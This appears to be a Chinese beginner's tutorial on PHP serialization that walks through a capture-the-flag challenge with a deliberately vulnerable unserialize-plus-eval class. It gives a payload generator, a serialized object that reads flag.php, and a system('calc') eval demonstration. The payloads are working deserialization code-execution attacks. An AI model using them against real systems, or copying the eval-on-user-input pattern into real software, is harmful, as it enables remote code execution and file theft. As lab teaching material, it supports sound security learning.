Last updated on September 13, 2025 pm
注意事项:阅读之前先要学会 php 的基础语法,面向对象的一些基础知识
什么是序列化和反序列化
- 序列化是将对象转换成可存储的字节序列的过程
- 反序列化是将字节序列恢复为对象
一个简单的实例
1 2 3 4 5 6 7 8 9 10 11 12
| <?php
class a{ var $name = "Lixiney"; var $age = "18"; }
$a = new a();
echo serialize($a); ?>
|

1 2 3 4 5 6 7 8 9
| <?php
$str = 'O:1:"a":2:{s:4:"name";s:7:"Lixiney";s:3:"age";s:2:"18";}';
$a = unserialize($str);
echo var_dump($a); ?>
|

什么是反序列化漏洞
序列化和反序列化本身没有什么问题,但是当 用户参数可控,而且后台错误的使用了一些危险函数的时候,就会出现安全问题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| __construct()
__destruct()
__call()
__callStatic()
__get()
__set()
__isset()
__unset()
__invoke()
__sleep()
__wakeup()
__toString()
|
接下来我们来逐行解析一下 赛题的代码
1 2 3 4 5 6 7 8 9 10 11 12
| <?php highlight_file(__FILE__); error_reporting(0); class a{ var $act; function action(){ eval($this->act); } } $a=unserialize($_GET['flag']); $a->action(); ?>
|
首先是 <?php ?>
这个是用来表示php语言的,php 脚本 以 <?php
开始 , 以 ?>
结束
highlight_file() 函数用来高亮显示代码
error_reporting(0) 表示清空本页的报错信息
eval 函数可以将字符串当作php代码执行
例如:
1 2 3 4
| <?php $str = "phpinfo();"; eval($str); ?>
|

既然 php 代码可以执行,那我们就可以执行一些危险的命令,如下
1 2 3 4 5 6
| <?php
$str = "system('calc');";
eval($str); ?>
|

根据这个原理就可以拿到 flag.php 中的 内容
下面这个代码用来生成 payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php
class a{ var $act; function action(){ eval($this->act); } }
$a = new a(); $a -> act = "highlight_file('flag.php');"; echo serialize($a); ?>
|
根据前文所写的 高亮显示代码的函数 可以查看 flag.php 中的内容
1
| O:1:"a":1:{s:3:"act";s:27:"highlight_file('flag.php');";}
|

提交到 ?flag 拿到flag